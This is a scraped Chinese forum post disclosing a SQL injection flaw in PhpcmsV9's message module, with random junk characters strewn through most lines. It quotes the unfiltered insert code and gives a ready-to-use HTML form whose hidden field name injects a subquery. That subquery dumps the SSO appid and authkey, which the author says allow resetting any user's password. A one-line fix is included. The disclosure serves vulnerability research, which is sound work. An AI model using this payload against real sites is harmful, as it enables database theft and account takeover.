找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2139|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:; G. O, E& k7 P2 N, L

8 w# ^0 D, F* G% V% j( k: b- q第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
4 C7 c6 H; x4 F" \" a
5 j! _; O" q+ l* n& n3 \明天再更新下一个漏洞。1 ^5 B* h6 ]! z& v* [1 N; U$ v
详细说明:
; o8 K8 m- @4 k, S) O3 R% c" o在/phpcms9/phpcms/modules/message/index.php中有代码如下:
2 H. s" ?# a8 m3 {) X2 P7 F- G0 U1 Q9 K& F" A* g# c
$messageid = $this->message_db->insert($_POST['info'],true);
( C( U- K, P  X1 M  H- T7 \2 O+ ~  b& k3 {5 X3 C7 [3 Q
) N0 i  O9 I! k) `1 ~3 \
insert方法是key value的,代码如下:7 P) }( o. a" P% i( w7 W1 p

" `3 h- k, @& v4 Gpublic function insert($data, $table, $return_insert_id = false, $replace = false) {: L" _% l* X% k. T
                if(!is_array( $data ) || $table == '' || count($data) == 0) {
( k" B  H3 M! X3 s4 @( S                        return false;$ a+ b- E9 S. A( h( x* v+ Z# j: Z
                }# i" ~! s: E. t, e' R
                8 {+ B7 H' H1 g2 u+ [
                $fielddata = array_keys($data);" V. x9 ]6 n6 {+ N4 M- ^! E8 e
                $valuedata = array_values($data);) }2 ^5 O2 l; C* I, [
                array_walk($fielddata, array($this, 'add_special_char'));
/ {: P1 g6 l  S                array_walk($valuedata, array($this, 'escape_string'));
8 u+ i' D8 p) G                - q0 _- y+ h5 ?3 w- W
                $field = implode (',', $fielddata);
( H# c9 U6 }2 O                $value = implode (',', $valuedata);: G4 G) P& S4 J# M

0 P% a0 W: X/ ^& ]$ S' A                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';8 `+ R( K9 W, t! e$ K
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';2 r; @* J% B+ N) M1 v  z- {( F9 `0 X) ~
                $return = $this->execute($sql);9 J) T, ^: I$ L/ u! J  b
                return $return_insert_id ? $this->insert_id() : $return;
5 F8 |$ d# D. X0 u        }
' n& J' b) D1 k6 b, f' J3 N* S+ q: V  M

6 t/ n. p3 t. _7 X: Z嗯,很遗憾的是$ \2 B4 p3 E# o: q# }  I+ x
4 U7 M" J# R; [( L3 _8 g: c9 R
array_walk($fielddata, array($this, 'add_special_char'));( T* X0 }: L* [
1 A. o+ r1 u3 j& I  Q
- t; l# H" u& e) q- v
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。$ U, b# O1 F, q) D, @! P8 i2 M
. [* l# f! k7 H* ]5 |8 U% W3 ]: w% ^
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
8 h: {) i9 T! }* j) T# W
" P! t3 M0 M  O  {漏洞证明:9 I! q  K4 j. t& |# A
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
# }& s0 b5 A) p: n& H% J
% F/ J& Z; o# `$ x% G, P8 Z0 F/ {
) ^6 X! p  V; B; `7 y表单如下:用户名什么的得自己改一改。: }+ P) C$ g# q. p
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
2 C- @: w: }5 S) P2 V6 C- ^% s. m' _<table width="100%" cellspacing="0" class="table_form">* f! [/ O/ W* Y9 t$ |7 }$ \- G
<tr>5 N- {- F& i" k8 M1 T/ p" v5 S
<th>标 题:</th>
5 {! ]! k1 ~+ ?0 ?+ B$ ~<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
4 Y9 _1 g( m% t3 L; X</tr>
/ t; P- a0 N6 [7 U<tr>
; A" T0 h. ~2 k* X/ L7 l0 E<th>内 容:</th>* F4 Q2 v" u- x
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
" _4 T9 q/ Z  h; r: G; i9 E</tr>
4 u% T  M# m" M; e# f+ T4 q<input type="hidden" name="info[replyid]" value="2" /> ! H/ V* s6 E& E9 x
<input type="hidden" name="info[send_to_id]" value="cc" />
. o4 {# x& N* j8 ^0 a<input type="hidden" name="info[send_from_id]" value="hh">  O1 o$ A# X1 A2 {
<!-- 漏洞的利用重点在这里开始 -->$ n5 b! t5 r  }2 Y
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
; H' w9 ^# u: Z7 u<!-- 漏洞的利用重点在这里结束 -->
9 x9 U8 A! T1 F: B' @3 B% a<tr>
& v! e, o9 U0 ~5 S3 V1 {- M<th>验证码:</th>1 j  R0 H: l: u* ?9 e$ N+ f, u/ K
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
( O& g& P0 }. S$ k</tr>
/ q% F5 F: M0 ?2 e( @7 @) W<tr>
& C  [. E3 z" [$ y- ]/ W+ v<td></td>$ W$ @; d* \" p# I2 B: A+ g1 l# _
<td colspan="2"><label>' `! g. L& M5 z$ l+ Y/ y
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
/ ~* O0 _$ m( v" u</label></td>* Q* Z* A/ ^  a6 \3 E& x) a
</tr>
5 b- S9 k) q, p" O7 x# ]+ @9 b4 S</table>
8 j0 W! Q$ P, q  V5 [% Q! X+ ]</form>
, a8 O0 n; Q5 ]' e在add_special_char函数内对key做过滤就可以了。- O+ m: W- q; Y& b/ b( s
$ m0 z9 [1 Y" Q; u0 Z

1 o6 @* Q6 J/ ?% R8 c- Y6 q0 @7 o2 s3 K+ o0 \0 a+ `5 |

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表